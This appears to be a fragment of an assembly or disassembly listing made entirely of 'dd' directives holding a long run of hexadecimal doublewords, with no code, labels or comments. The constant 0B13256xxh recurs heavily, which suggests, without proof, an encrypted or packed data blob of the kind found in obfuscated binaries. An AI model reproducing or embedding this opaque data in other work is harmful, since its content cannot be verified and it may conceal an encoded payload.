		dd 3ACA56EAh, 0B122BF8Dh, 17AB56BAh, 4BBB2B3Ch,	9453682Fh
		dd 4C80D670h, 0D1671585h, 0B132583Dh, 0D79C1EAh, 0A837890Ah
		dd 0BA5A3194h, 3A98199Bh, 30540F50h, 0D02ACE9Ch, 0C409C454h
		dd 383D50CDh, 0B13256EBh, 0B6DB0B80h, 0AA3256BAh, 808277B7h
		dd 0C409A91Bh, 4B6595Bh, 493256ABh, 582CDDB3h, 0B13256E4h
		dd 187AD7E9h, 0F75E8539h, 85509EE6h, 56B2F746h,	0B6DB36A7h
		dd 23256ABh, 76933F74h,	7F898DB4h, 0D042FA41h, 0B1324553h
		dd 3716905Dh, 0ABB57AE4h, 3D39A812h, 1AE316C6h,	0DB9000AEh
		dd 0A0DB4860h, 0FF325675h, 0B61A3232h, 1DD49305h, 415D271Ch
		dd 0DAA0A531h, 0D1C2B52Bh, 0BE178754h, 0B6241CEh, 0AF4F0D3Ah
		dd 0A2DB37E2h, 0E032565Dh, 0C1F52511h, 682210Bh, 0C31F2F27h
		dd 3E7362D4h, 81DA66FEh, 49325653h, 4ECCBE53h, 0ACBA59A2h
		dd 0D13256AEh, 58BE9BD7h, 0B13256B8h, 0CA19F97Fh, 66F9273Ch
		dd 0C50E0507h, 47CE0DCFh, 0D0F60AB2h, 48CE2B27h, 0B133D258h
		dd 59CA56ABh, 4ECDA1D6h, 0B133D4E5h, 4DCB5675h,	5852AEE1h
		dd 0B1325655h, 7C7B079Eh, 5235DF57h, 323D09CAh,	0B13256D4h
		dd 0BCDB0813h, 3D325675h, 0AB8BBD22h, 0DB4B151Ah, 792561B6h
		dd 0BECE13DCh, 0B1325C22h, 3B3D36D5h, 0B13256EAh, 78533715h
		dd 0B1324553h, 8FC4DB5Dh, 19DA73A6h, 0AD5E076Ah, 0A4360660h
		dd 2BA9C283h, 58325A28h, 0B132567Eh, 994C382Ch,	0F853ECCCh
		dd 58169E93h, 0B132565Dh, 0BDF90E06h, 0EF4AF836h, 0BE6778ECh
		dd 0B1324EF7h, 8A8C36BAh, 5823080Fh, 0B13256A2h, 0BFB987F7h
		dd 0E7AB3DDDh, 0ADF49075h, 0D1DEDD8Bh, 0FBF3D715h, 0BE73EA6Ch
		dd 0E25398E2h, 0FA318C2Fh, 0D0682315h, 44CA9228h, 4864AA82h
		dd 0D161AEBBh, 0B1325A9Ch, 96F5E6BAh, 8FB1E88Fh, 0A274C2DDh
		dd 768930CCh, 0F4F537D8h, 0B132562Dh, 0B4BA59EAh, 0D1325675h
		dd 0D0C79C31h, 0C65CD49Ah, 0B13350B6h, 0B6DB5657h, 0A63256ABh
		dd 44CD4D48h, 0C4B9D9AFh, 3E3D367Dh, 0B13256BEh, 0BF7FE83Bh
		dd 301FE6CEh, 0F15C1487h, 0D75337D3h, 3ACB485Eh, 0A946E450h
		dd 3D3DAF73h, 0B13256AFh, 0B13246B4h, 429F18AEh, 6C643A54h
		dd 0EE581016h, 1AF4095Dh, 0B96DDD1Ch, 0BEE95D8Ch, 0B1322E3Eh
		dd 0BE63365Dh, 0B1325626h, 0D0CE0C57h, 343D8890h, 0B1325695h
		dd 0B1325303h, 84087D75h, 4D52D5E2h, 0D0FCE952h, 0BE3E0B25h
		dd 0B1325ADDh, 0B7BF59ABh, 0BE3256D5h, 0B132566Ch, 0BD6DDF75h
		dd 0B122BEDAh, 85A7565Dh, 9C60649Bh, 0D2DBE70Ah, 0C6B8E4ECh
		dd 0D06B21ABh, 44269169h, 4ECDCE9Ch, 0B9DA3645h, 0AF32565Dh
		dd 36BAC1CEh, 44D761F1h, 0B134BFF2h, 0A0DD56D5h, 0DBFEB70Fh
		dd 0AFB93014h, 0B133D0B5h, 31CA565Dh, 353DBE55h, 0B1325535h
		dd 0B8DAD7CBh, 0D7432B96h, 0DC5A876Bh, 3A543614h, 0B7BD5960h
		dd 0BE32565Dh, 0B1325629h, 4AB23757h, 8AB65942h, 0BE3256D6h
		dd 0B1324362h, 0B122BF75h, 0BA3956BAh, 2D7B3866h, 594648Fh
		dd 176A0408h, 4AB23399h, 0A6B6593Eh, 0D13256E9h, 0B137D67Ah
		dd 305456BAh, 5E19683h,	4AB23748h, 46B659B5h, 0D13256A9h
		dd 3A3DD361h, 0B13256E9h, 0D0C3E97Ah, 0BED1AD3Ah, 0B1309CD9h
		dd 3054AEAEh, 0BED131ACh, 0B130832Fh, 0BECA36D5h, 31539D5Dh
		dd 4DCEA692h, 0BEC9D7DCh, 76B659DDh, 583256ACh,	0B132565Eh
		dd 0E82068EBh, 9812D63h, 41D1D62Eh, 4ED8D715h, 0D1698C00h
		dd 0B13253B5h, 52AF7AEh, 496D094Eh, 4AB237CAh, 26B659A5h
		dd 583256E8h, 0B132567Ah, 0CBDD9285h, 2AA8EAA5h, 2F1FBBBEh
		dd 0D78E838Fh, 0A5DB4820h, 0FE3256D5h, 0BEC73F17h, 2D23823Eh
		dd 6D8200D3h, 693A0D3Ch, 3105F321h, 3052AEB4h, 54097F7Ah
		dd 0D0F3DCD8h, 0BE8AAD6Ah, 0B1333EF1h, 0B126BFBAh, 7814565Dh
		dd 0D407AFBBh, 6021D28Bh, 59BA34BFh, 64038660h,	8FB21FC1h
		dd 0F7B65970h, 0D13256BBh, 8FB237A8h, 8BB65983h, 0BE325656h
		dd 0B1325E2Dh, 0B3B459D5h, 0D13256EAh, 0D90CD614h, 0B011D2B5h
		dd 3F3D565Dh, 0B13256BDh, 0B13FDD58h, 0B9DB56ABh, 0F23256D5h
		dd 297D72BFh, 4E28CD61h, 0A9453838h, 3A54AA5Bh,	0B9B559B0h
		dd 0BE325657h, 0B1325426h, 315336D5h, 0D752AE0Dh, 280E96F4h
		dd 4AB330DBh, 353DBEDCh
		dd 0B1325673h, 0AFB930ABh, 0B13DBFCBh, 0A2E056D5h, 3167218Dh
		dd 5AF69DE5h, 2DAD798Fh, 2BC5D6E2h, 41D5D6CFh, 0B1325EBEh
		dd 5632DDABh, 2F4C3A9Eh, 4AB33001h, 353D96F4h, 0B132561Fh
		dd 0B13259B4h, 91FA8FAEh, 1427DA1h, 602AFFDh, 0EF0FF9D9h
		dd 0D167AF8Ah, 0F9C3D713h, 6FB93082h, 8AA0A93Ch, 0D1344EDBh
		dd 0B13253BFh, 747ADBABh, 0E3D4BC3h, 303D0D2Ch,	0B1325677h
		dd 0EC537409h, 0B13258B4h, 5CA19CAEh, 44D952E9h, 75841F2h
		dd 38D0E183h, 3A3DAAAFh, 0B1325666h, 0B139BEDAh, 0B90565Dh
		dd 38E2ABBAh, 26B549E0h, 48530E82h, 0A4B759B4h,	0D13256EAh
		dd 0B1325F9Ch, 432E73BAh, 5CE0F274h, 30547849h,	0D0E56FB7h
		dd 0B0CE2B28h, 0B338D3DAh, 0BBDB56EAh, 93325675h, 202929A2h
		dd 59ABA376h, 7C88DD02h, 0BE344474h, 0B1325126h, 0B0BB59D5h
		dd 443256EAh, 0B0BD5925h, 483256BAh, 0C65CD4D6h, 88CE50B6h
		dd 323D666Bh, 0B13256ACh, 0B133DFDAh, 0E9CE56EAh, 0B0F0D47Ah
		dd 3ACE56BAh, 0A315D7E7h, 0BFB159A8h, 0D1325657h, 0B56B812Ah
		dd 3F3D4BE3h, 0B13256EAh, 58520614h, 0B13256B5h, 0FA5EB058h
		dd 361DE1Dh, 22A78E09h,	0D0D8538Dh, 0C65CD45Eh,	0BE5250F2h
		dd 0B13255FBh, 408D59BAh, 0BE539ED6h, 0B1324725h, 0BAB75957h
		dd 583256ABh, 0B13256D3h, 88F2F587h, 8D0B6755h,	3052368Ah
		dd 22BB89Bh, 0BE53AAE1h, 0B13255DFh, 4AB930ABh,	0BE6AAAB4h
		dd 0B1331165h, 0B0BF5975h, 483256BAh, 0B1327FB4h, 0B137BFAEh
		dd 522B5657h, 76AFECCEh, 0B130AE90h, 58CA56EAh,	0B1325667h
		dd 0B1325353h, 6323845Dh, 0F4F524D6h, 0B13257AFh, 0BB9AAABh
		dd 0B72A2267h, 9889308Ah, 0B120BF50h, 892F56BAh, 0FACB4591h
		dd 2F7160A0h, 0F8467641h, 0C0635EC1h, 0D12DDDB4h, 0D7EEDC8Ah
		dd 68C97F4h, 0B126BFDBh, 208D565Dh, 7EED3F29h, 0F1A3780Ch
		dd 0E4081D3Eh, 40F86100h, 0D15374ABh, 0F56DE813h, 590E943Bh
		dd 0BA532B7Fh, 4B65975h, 0BE325657h, 0B1324325h, 0BEB659D5h
		dd 583256EAh, 0B132567Fh, 0D8BD1A04h, 0A785EC4Ah, 6F097AB1h
		dd 0B16BD358h, 3B3D56ABh, 0B13256D9h, 0B134D0E5h, 323D5675h
		dd 0B13256BAh, 583E0BD6h, 0B13256A7h, 961BD186h, 0D524EC3Fh
		dd 0BCB2593Bh, 583256EAh, 0B132567Dh, 6C69A26Bh, 0D485C94Dh
		dd 0B1CA2B2Dh, 0B120D258h, 0B2CE56ABh, 0B8DBAE88h, 0A73256EAh
		dd 0E650AB6Bh, 0C0B80ACFh, 0D13609D4h, 32538C24h, 58CE4290h
		dd 4ECDA9EAh, 0BECCDCB5h, 0B132556Fh, 0C8E0D675h, 0BEF265DBh
		dd 0B1325ADBh, 0E5436AEh, 79B30FE2h, 0C6BC0459h, 0B5FDBFB4h
		dd 0BE5256EAh, 305487CAh, 0D014316Dh, 482CDD3Bh, 0B1325C47h
		dd 0D8E24B57h, 0E5DB8EE9h, 3AEC0488h, 0BECA5A97h, 0B1324CF3h
		dd 0A5B559BAh, 5832565Dh, 0B13256A1h, 85A36CA8h, 5694617Ah
		dd 1CB43754h, 31939691h, 353DBD8Eh, 0B132568Ch,	41D1D6A1h
		dd 4AB2A357h, 9B65927h,	583256ABh, 0B13256DBh, 0D5B5B044h
		dd 0BDA02C3Ch, 7FFE5382h, 0AEDB4E62h, 0BE3256AFh, 0B1325EDCh
		dd 0B3BE59ABh, 0D13256D5h, 0B6F4AA8Bh, 0BCDB369Ch, 0BF3256BAh
		dd 0FC4356F8h, 0EBDAB1A9h, 0F56353B0h, 784CCA11h, 0F6F537BDh
		dd 0B13256EBh, 0B6B45975h, 0BE3256BAh, 0B13257D7h, 76B9AFAEh
		dd 0B127D058h, 585256ABh, 0B13256D8h, 0EEACDC09h, 19371A69h
		dd 0AD84E6AAh, 0BE53AFA8h, 0B1324322h, 0B122BF57h, 0B5A756ABh
		dd 41A2E96Dh, 9214DFBBh, 0C6E74388h, 71B17089h,	58CAAF58h
		dd 0B1325573h, 0B1325BBEh, 5E08F3ABh, 359E9645h, 30D0B009h
		dd 393D0E23h, 0B13256BDh, 0B133D952h, 0D7CA56AEh, 0B93D5190h
		dd 0D0E5DCCBh, 4D52485Fh, 0D489308Ah, 0D07DE2E2h, 52B2A3DBh
		dd 0B13FBF52h, 891756AEh, 6E88B9D3h, 4310E1BDh,	3105542Ah
		dd 39CBD621h, 383D572Ah, 0B13256BBh, 0A5B859A4h, 583256AEh
		dd 0B1325658h, 2BE0DDCEh, 1DE0EB04h, 6498FA14h,	76003B63h
		dd 0B13254FDh, 333D565Dh, 0B13256A9h, 0B133D458h, 3ACA56ABh
		dd 71B1A312h, 0FBDBAEECh, 58325676h, 0B13256BCh, 5FFCBBBEh
		dd 30542EFAh, 0BEA2C669h, 0B132152Fh, 31CEAAD5h, 343DC6D4h
		dd 0B132561Ah, 67B930DAh, 0B136DA52h, 85456AEh,	0D7532034h
		dd 21CD282Ah, 0ACB65945h, 0D13256EAh, 0E5290FFh, 80571ED8h
		dd 0F5DB373Ch, 583256AEh, 0B132565Fh, 0E45A17DCh, 265396EEh
		dd 0A2DB9161h, 87325675h, 620F3449h, 0E16937Bh,	0D1B47C82h
		dd 8E7D57F8h, 63DBCDF8h, 0D13256D7h, 0B1B6598Ah, 0B325675h
		dd 0E238AAB4h, 0B2B9593Ch, 0D73256AEh, 3C5398DCh, 0A94AE629h
		dd 0B13DBFD3h, 561056EAh, 0B24C3DE8h, 0A3956633h, 460689B5h
		dd 0B7DB0667h, 1A325657h, 4967A910h, 3D3D0034h,	0B13256FCh
		dd 0B132479Ch, 0AE70D0BAh, 419246E5h, 0A5172A6Fh, 0ADD4A301h
		dd 23CDAEAEh, 0B72A23B8h, 0B13ED3E5h, 0B525675h, 0FBA3A7EDh
		dd 1FD2D73Bh, 0F52371Eh, 0B2E43131h, 0D0E8E1A4h, 353D96DEh
		dd 0B13256D5h, 58FADD8Ch, 0B13256B7h, 1AD77593h, 0ED138821h
		dd 0BF7059A1h, 180DBE4h, 44344EADh, 0B133D8E5h,	58C75675h
		dd 0B13257A1h, 7B8D593Dh, 0BDBF59CFh, 0BE325657h, 0B1325021h
		dd 0B1B559D5h, 0E73256EAh, 0A5B15989h, 0D13256BAh, 0BADB81D6h
		dd 613256AEh, 5D1F2DEFh, 5E5FC301h, 3A535AD8h, 0B120BF24h
		dd 2F0E5675h, 0C0217263h, 0B7EF9F23h, 9E74BE4Dh, 3E852F71h
		dd 0B7BA59CBh, 303256D5h, 1FBCF639h, 6BB33040h,	0E4537237h
		dd 0B1325CB4h, 86480AAEh, 2A53CADEh, 5889FD3Ah,	0B13256DCh
		dd 0BDC15E46h, 78B97C7Eh, 8AA0A93Ah, 4D344E28h,	0B126BFF3h
		dd 0ADFB5657h, 227C6FDDh, 3FF017C4h, 7BABF1D7h,	353A376h
		dd 7F1963AEh, 0B8DB063Dh, 2E3256AEh, 58C2CEACh,	91CEDBD7h
		dd 4653AE8Eh, 0BCDA3633h, 89325675h, 0BA99D7EBh, 0BC77D5C6h
		dd 8AB01B54h, 0EAE2DD31h, 0B1324742h, 237555D5h, 0CB85285Dh
		dd 30F24D85h, 0A6C2703Eh, 0EF535B96h, 0B128D1A1h, 58525657h
		dd 0B13256BAh, 4D50D6A2h, 2A50CF65h, 0E81C6EDh,	83DAD95Fh
		dd 0D030E33Ah, 0B1324447h, 5A791257h, 51C8249h,	43586D12h
		dd 2479085Dh, 3266A8D1h, 0BE33AEC7h, 0B132DAD8h, 0A0BD59AEh
		dd 58325657h, 0B13256A7h, 45B490B5h, 0B6D478FCh, 0C90A3FC3h
		dd 393D1F0Ah, 0B1325653h, 65F0D7CEh, 30091377h,	75E3907Ch
		dd 4D9837C9h, 0B12DD8E5h, 363D5675h, 0B13256A3h, 0B13242B4h
		dd 0A40D57AEh, 0CF4D4348h, 0B778D664h, 92928F87h, 4BC3837Dh
		dd 0BE8A302Ch, 1A54A33Fh, 0B1325FB4h, 0D6CBA1AEh, 0DF2B93DAh
		dd 73DF854h, 0D1525793h, 3AE8A76Ah, 0D08237BEh,	58CAFDDBh
		dd 0B1325632h, 0B1325E47h, 0F2015457h, 0C86FB3AEh, 494FD5A9h
		dd 0E4B759E8h, 0BE325675h, 0B1325732h, 954AF5Dh, 0B529FA5h
		dd 0F10C2D0Ah, 1A543753h, 0EFF5D6B5h, 0BE8A308Bh, 1A54AFF1h
		dd 0B1325B53h, 63D6965Dh, 9AB08B83h, 0D1DE155Bh, 73D3D3Eh
		dd 343D5793h, 0B13256EDh, 0B133DA7Ah, 1ACB56BAh, 0B13FBFA1h
		dd 0B4DB56AEh, 8325657h, 931EA10Ah, 3ACAF226h, 0BBBB592Dh
		dd 58325675h, 0B13256BFh, 72FF5C74h, 0E8CB0DC2h, 0B13ED458h
		dd 0B6DB56ABh, 5B3256D5h, 0EAEE5468h, 0D16C0590h, 0A6BFECDCh
		dd 0B134D952h, 6FB356AEh, 0C5250812h, 3A5436CAh, 0B9DB3604h
		dd 0DE3256EAh, 4C133717h, 0EA949A1h, 0A722A32Eh, 4D6D37CFh
		dd 0B0BA599Eh, 493256ABh, 0BE325E17h, 0B132436Fh, 0B122BF75h
		dd 8FBD56BAh, 0B1E46E3Ah
		dd 57DCE6D6h, 51254910h, 4467D072h, 0B7DBBA5Eh,	493256EAh
		dd 1ED83748h, 58523651h, 0B132564Dh, 4C95C771h,	7EB9F626h
		dd 0B6AAEEFCh, 4F9299Dh, 0B132DEE5h, 59535675h,	0B13256BAh
		dd 2ED8D707h, 0D1344E0Ah, 0B1325EBEh, 0EB20EFABh, 0BAE7A2Ch
		dd 0B3BC59A4h, 0E0325675h, 0B7DB37E4h, 6032565Dh, 0E14A76C4h
		dd 0B977DD9Ch, 0B0B0DF5Eh, 58344EA0h, 0B13256EDh, 3823DDA7h
		dd 0D0AAAE5Ch, 854AF3Dh, 785364E9h, 0B137BE37h,	97EB56ABh
		dd 0EB01CAA6h, 9EC9ED8Ch, 0B1369414h, 0B28A30DAh, 0D0D9DCB1h
		dd 0ACB759FBh, 0D1325657h, 0A6C5D7CDh, 0B122BEA3h, 0A26D56EAh
		dd 0E490D577h, 286A6D37h, 505E9A8h, 0D06B5B10h,	32C7BADCh
		dd 3C3DAE6Fh, 0B13256DCh, 0B71DEF8Ah, 2B856FEDh, 0B0B259DBh
		dd 4832565Dh, 0A0DB36CEh, 1D325657h, 0D251DDBh,	21C39D5Eh
		dd 713A25B8h, 0DF05FF01h, 0C4A8EEDCh, 0B132BE3Ch, 306856AEh
		dd 0A99733BDh, 0B13EBFADh, 0EE3056D5h, 358F6D3Ah, 9C30DBA7h
		dd 0B9DB5537h, 0CE32565Dh, 176D7E62h, 76DFDBC8h, 0B132AEEEh
		dd 3B3D56D5h, 0B13256E6h, 0B132519Ch, 0F88B5EBAh, 8923AE38h
		dd 0B1CE1369h, 58325657h, 0B13256BBh, 0B7F6EE66h, 0D373674Eh
		dd 0CC4A7546h, 2E6195A0h, 0A2DB966Eh, 0CA3256AEh, 0F32E03FCh
		dd 0DEB80CE6h, 0BC4248E6h, 97158D9Dh, 3A549994h, 0E16136A4h
		dd 72B30803h, 0B1A2142Fh, 0DFB09136h, 0B0344EDCh, 483256D5h
		dd 21C9D78Ch, 96B759E5h, 0BE3256BAh, 0B1324ED0h, 0B121BFAEh
		dd 0CE645657h, 86609A62h, 0AF197224h, 5782B612h, 8E226B14h
		dd 0E3603690h, 63D0E07h, 4AB23759h, 6DB659BFh, 583256AFh
		dd 0B13256DCh, 4F704926h, 3196311Fh, 0B0B359B3h, 4932565Dh
		dd 315336EEh, 353DBFACh, 0B1325210h, 0B13ED1DAh, 585256EAh
		dd 0B1325670h, 2296CE05h, 0F1CB375Ah, 0B1325347h, 0F7122E57h
		dd 4AB2483Ch, 25B6593Eh, 0BE3256EEh, 0B13251F0h, 0B0B059BAh
		dd 4832565Dh, 0D76436EEh, 0E0B591D6h, 0BADB37F2h, 1F3256D5h
		dd 43FB0B9Fh, 8EE33A21h, 56B2311Fh, 3054AAADh, 0BEB25955h
		dd 0B13608D3h, 0B13CBFABh, 90F56D5h, 5AC34234h,	1B3B3935h
		dd 9319EE9Ah, 912BD45Eh, 0F1C750BCh, 0B139D458h, 0BE5256ABh
		dd 0B1325656h, 73B930EAh, 53C9D614h, 0B524D2B5h, 0A5DB565Dh
		dd 0A3256AEh, 6F6CD674h, 0F9755F49h, 659484EAh,	3B4B7528h
		dd 315093B9h, 353DB541h, 0B1325597h, 0B1325D47h, 58724357h
		dd 1997B047h, 5E63E865h, 0D6C9D78Ch, 68B65996h,	0BE3256B9h
		dd 0B13257D1h, 52B2AAAEh, 0A3DB36A7h, 993256ABh, 0B78216D3h
		dd 69A8B5F2h, 98B99CE4h, 65BC2DF9h, 63D2D6F7h, 4AB2AACFh
		dd 0DB65927h, 583256A8h, 0B13256D2h, 267E70B2h,	0D776DBA1h
		dd 353D4831h, 0B1325640h, 0B125DDA1h, 0A3DB5657h, 723256ABh
		dd 0A92DB499h, 12C6AF38h, 5FE674CCh, 0A94C8838h, 49D1D6B6h
		dd 0B127DAA1h, 0A1DB5657h, 353256ABh, 0A3E9F275h, 2C37BD5Eh
		dd 0FE0B7FC4h, 316FA5DDh, 353DEEA6h, 0B13257D1h, 0B13FDA58h
		dd 0B9DB56ABh, 733256D5h, 552BBDD2h, 31440310h,	353D5384h
		dd 0B132573Eh, 9C0CD65Bh, 0B06BD258h, 3E3D56ABh, 0B13256D2h
		dd 47B3308Ah, 585352E3h, 0B13256ABh, 7D0BBF2h, 5185E2F0h
		dd 0A1EE67EEh, 97BA66CFh, 0D90CD669h, 0B01FD2E5h, 383D5675h
		dd 0B13256B2h, 0B130D552h, 0D05256AEh, 33CDAA17h, 0B72A21C5h
		dd 0B132463Ch, 434685EAh, 0F093CD24h, 0BFCB0A48h, 7E949929h
		dd 0AFB93016h, 0B13253BEh, 3CEE1ABh, 56B2EC74h,	31893612h
		dd 8788AE1h, 0CE20CA93h, 4AB3303Ch, 353DBE2Fh, 0B132568Ch
		dd 0B133DCA4h, 0D1CB56D5h, 0D0ECDC1Fh, 0D12CDD13h, 0EA5336EAh
		dd 0B1325AB4h, 0D1CD76AEh, 0D9E329F9h, 0BB02206Eh, 0E252376Bh
		dd 0EFFADD8Ch, 0D06CAA22h, 0BEC2B13Ah, 0B13243D9h, 0E3D36AEh
		dd 0B139BF85h, 0D2AC56ABh, 2596ED47h, 0F86790EBh, 305437DCh
		dd 0BEF2D741h, 0B132D4D9h, 3A5436AEh, 0D1523790h, 0B132D8A4h
		dd 305456D5h, 0D036991Ah, 0E3D3620h, 4E53A378h,	0A9476DCFh
		dd 0B8BB59A8h, 0D1325657h, 0B1B05952h, 0D03256D5h, 0B13ABFB7h
		dd 0B2F65675h, 0F693BFB5h, 0F4BBAF4Dh, 363DA352h, 0B1325650h
		dd 0B133DCA4h, 0D0C756D5h, 0B139D2E5h, 0BE525675h, 0B1325637h
		dd 66B9305Dh, 4D4FD5CFh, 27B75956h, 583256ADh, 0B13256C6h
		dd 343D19BBh, 0C0BE994Fh, 0FDF13B9Bh, 632A49BFh, 3A91A257h
		dd 0A3119BEDh, 0B13ABFADh, 9D2056D5h, 89066405h, 586290E8h
		dd 0B13256B0h, 20727BDAh, 391812Ch, 0BDDBFBD9h,	823256ABh
		dd 819E5AB3h, 4E00864Ah, 3A434837h, 0A9453838h,	152AA5Bh
		dd 0D0F9DCE0h, 49026A6Eh, 83B059F3h, 583256D3h,	0B13256FBh
		dd 0A1718602h, 0F5B02BFh, 85BCCDB5h, 0D4B6A8FAh, 0B0BA5962h
		dd 483256ABh, 96B3EC5Eh, 0BADB50F8h, 40325675h,	0BDC5D75Fh
		dd 52177332h, 4D6227BFh, 0C65CD4DCh, 0BE5250B3h, 0B1325053h
		dd 0B1BC59EAh, 0BE325675h, 0B1325034h, 11C4D75Dh, 0D07B75FAh
		dd 0BE026A6Eh, 0B1324A2Bh, 0BEDA36D5h, 0FD3256EAh, 3BACD91Eh
		dd 0D2800071h, 0AEB5819Bh, 969DEF9h, 0D93537FFh, 3E3D0ECAh
		dd 0B1325364h, 6888DD13h, 0BE344E01h, 0B1325834h, 0B13BBF5Dh
		dd 0D97756AEh, 531DD4AEh, 32E1C55Bh, 0A9468F57h, 595242ECh
		dd 0B1325673h, 37DCC687h, 0BDDBBD31h, 13256AEh,	0D596DD40h
		dd 715D173Fh, 0E9399D40h, 3853AC61h, 0BDB35942h, 583256BAh
		dd 0B132565Ah, 84F8B566h, 38DD8EBFh, 0E1CA46ECh, 0DFB0DD2Ch
		dd 0D1344E9Dh, 4D5391FEh, 0D1024A31h, 0B13258B5h, 0F03C0AAEh
		dd 83EF0B76h, 0F20E86E1h, 0D7818E89h, 0EEE91853h, 0D0EADD13h
		dd 0BCB859E2h, 5832565Dh, 0B13256A6h, 3FFBB70Fh, 4A961651h
		dd 0BE3A095Ch, 0B132476Fh, 0B13EBF75h, 55F556BAh, 0BDB8EF26h
		dd 27462BEh, 47DBAAC2h,	0BE3256AFh, 0B1324F55h,	0A3DB36EAh
		dd 0B0325675h, 0D32C0327h, 711482E7h, 0A85C9D4Ch, 24841D96h
		dd 0F4F5374Ah, 0B132542Dh, 0BEB459EAh, 58325675h, 0B13256B0h
		dd 0C0C9708Ch, 815152D8h, 0ADDB4B26h, 0D13256ABh, 45F0ECB3h
		dd 0D0FCE1E5h, 0B0CA13B2h, 583256BAh, 0B132565Ah, 444F2360h
		dd 3A5E87ECh, 0A9468F11h, 0B135BFD3h, 0F61556EAh, 5A6D95B3h
		dd 68B0D5FCh, 0A5344E29h, 0B13ED3A1h, 383D5657h, 0B13256ADh
		dd 0B132D1DAh, 38CB56EAh, 0B137BF42h, 367456BAh, 3872F459h
		dd 0A5DB46E9h, 68325657h, 40467E40h, 0CD83509Eh, 59F80A5Fh
		dd 72E9B592h, 32F43BD8h, 343D55A5h, 0B13256E4h,	0B133D658h
		dd 0D1CE56ABh, 59D0ECB3h, 33F53716h, 0B72A211Bh, 0B13256B8h
		dd 0B13CBE3Dh, 7C7256AEh, 48233C6h, 0ABF27883h,	0F287BBFDh
		dd 0F6D08B8h, 8999653Bh, 0B10BBFDBh, 3A52565Dh,	0B7B9596Fh
		dd 30325657h, 6A283744h, 49B137F9h, 0DCBF59E8h,	0D1325677h
		dd 0B1324453h, 0B638DD5Dh, 0E792D0C4h, 3E2CCE3Eh, 8F5839A0h
		dd 0BEB23541h, 0B1325760h, 3253AA75h, 0BE32AEC7h, 0B132E0D9h
		dd 0BDBD59AEh, 0BE325657h, 0B1325026h, 0B1B759D5h, 0BE3256EAh
		dd 583310C3h, 0B13256ABh, 1AAE1D6Ah, 0FCDD7BCAh, 0C439DBF2h
		dd 33247603h, 319BAAA3h, 0BE3256EAh, 0B13269F0h, 0BBB659BAh
		dd 5832565Dh, 0B13256ABh, 17A0D2AAh, 32C716BFh,	0B4DB533Dh
		dd 723256EAh, 17F82C24h, 0B1321D53h, 0A4BD595Dh, 0D13256AEh
		dd 0B132DE58h, 0B6DA56ABh, 0A03256D5h, 4F402E38h, 0D06BD06Fh
		dd 0B132A997h, 52B2365Dh
		dd 9A8C30EDh, 0BEDB37B9h, 563256ABh, 1C5EA680h,	59535DD3h
		dd 9789D231h, 59B15707h, 0B134BF58h, 36ED56AEh,	0D7229880h
		dd 0B1321142h, 73B336D5h, 0FD200524h, 0E253A6FEh, 0B1324553h
		dd 0F61FBA5Dh, 0F891D242h, 0AC906DE8h, 0D86DC7CCh, 9C9255D2h
		dd 0C65CCC61h, 343D506Dh, 0B13256A8h, 0B1325BB4h, 0FDC854AEh
		dd 9E03BC5Ch, 42AFE970h, 0B5B95F26h, 4D69AED9h,	0B13256DCh
		dd 0CAB7593Ah, 0BE32565Dh, 0B1325725h, 7731AE57h, 5EB330CBh
		dd 5853D4ABh, 0B13256EDh, 78D88594h, 3205A53Bh,	0BBDB539Dh
		dd 0E93256AEh, 734A9404h, 79D73874h, 0DFB05529h, 0D1344E9Dh
		dd 0A2158EF4h, 0F9533BDEh, 0B1325CB4h, 918607AEh, 4910E375h
		dd 387EA33Fh, 3B3D5E92h, 0B13256EBh, 0BD75DF8Dh, 0B126BFDAh
		dd 0DB565Dh, 8BEABBF3h,	0B69063F3h, 17A34A99h, 49F4CC3Ch
		dd 4D537C12h, 0B1301E9Ch, 69C5AABAh, 0B1325CB4h, 1B4F1EAEh
		dd 0A8C8E70Bh, 9ACB695Eh, 3A52AA13h, 0B120BF3Ah, 18E85675h
		dd 96B27497h, 9E59FA28h, 0A5F1A35Bh, 0EBD7A613h, 0BEEAA1CAh
		dd 0B1325E53h, 0B3B059EAh, 0D1325675h, 0B4F2D5DBh, 0B135D152h
		dd 363D56AEh, 0B1325656h, 0DFB05557h, 0BE344EA2h, 0B1325863h
		dd 0B13BBF75h, 0F73256BAh, 0A2886DAAh, 0F9D3E021h, 0BDDB3637h
		dd 953256ABh, 1D246464h, 0DDA900E8h, 0F1145DBh,	94B669BCh
		dd 0F6BB373Ch, 0AEB559A6h, 0BE325657h, 0B1324F28h, 0B126BFD5h
		dd 5E8856EAh, 9C324765h, 7B0CFEA9h, 678E025Fh, 0DAC926D2h
		dd 0F6BB607Bh, 23DBAAA7h, 0D13256D4h, 0EAF73C52h, 0B6DB0720h
		dd 553256BAh, 0B8247F59h, 0D06DBFDDh, 373D9664h, 0B13256A1h
		dd 43E7D6B5h, 0F3C2D78Ch, 0F7B83759h, 319AAABBh, 0B1FCD352h
		dd 3A5256AEh, 0B13CBFA0h, 206D56ABh, 0ECC29AF2h, 0C2473FCh
		dd 0E064CE44h, 0D1F455DBh, 0B1325BB4h, 7A8FD6AEh, 30A0B7A4h
		dd 7B1764CDh, 3253B712h, 333D542Ah, 0B1325674h,	0B133ED42h
		dd 0E252565Dh, 7EE9C016h, 0BA53080Dh, 89B65970h, 483256D5h
		dd 78A7CC60h, 353D5062h, 0B13256B2h, 0B130D052h, 0D05256AEh
		dd 0BE33B5D7h, 0B1324C20h, 0BDDA36D5h, 0FC3256EAh, 16F30B08h
		dd 81BE3697h, 0EEF45A9Dh, 0A929B12Fh, 0B2530AAFh, 0A7B25968h
		dd 583256D5h, 0B13256FBh, 0EEE3DA5Ah, 100A6E13h, 1936531Dh
		dd 617A1457h, 0B975DF7Dh, 0B12ADEA4h, 0D75256D5h, 58430652h
		dd 0B1325678h, 54DFCED4h, 0B68E65A8h, 8D3FE92h,	0F6BB37D7h
		dd 23DBAEA7h, 483256D5h, 0E528E1Dh, 0F3420524h,	0B1CD73DBh
		dd 0B8DB565Dh, 3A3256AEh, 8B2C4B14h, 500BE501h,	0A0DB90FEh
		dd 303256EAh, 984A792Dh, 7EAD4EF8h, 97479746h, 0A6C65B69h
		dd 0BBDB8EA0h, 993256ABh, 1D378EBBh, 7586C3B1h,	0B3F2D5B7h
		dd 0F6BBAA4Fh, 3D3D3655h, 0B13256ACh, 343DE2E6h, 0B13256A7h
		dd 0B132513Ch, 7BD19EEAh, 5EEABE40h, 0A0DB36DBh, 9B32565Dh
		dd 6AAECD48h, 0AC1F443Dh, 0EC148DF3h, 0E21008E9h, 0BD75DF8Bh
		dd 0D7623689h, 495CA03Bh, 4AB93006h, 3E3DAECFh,	0B132565Ah
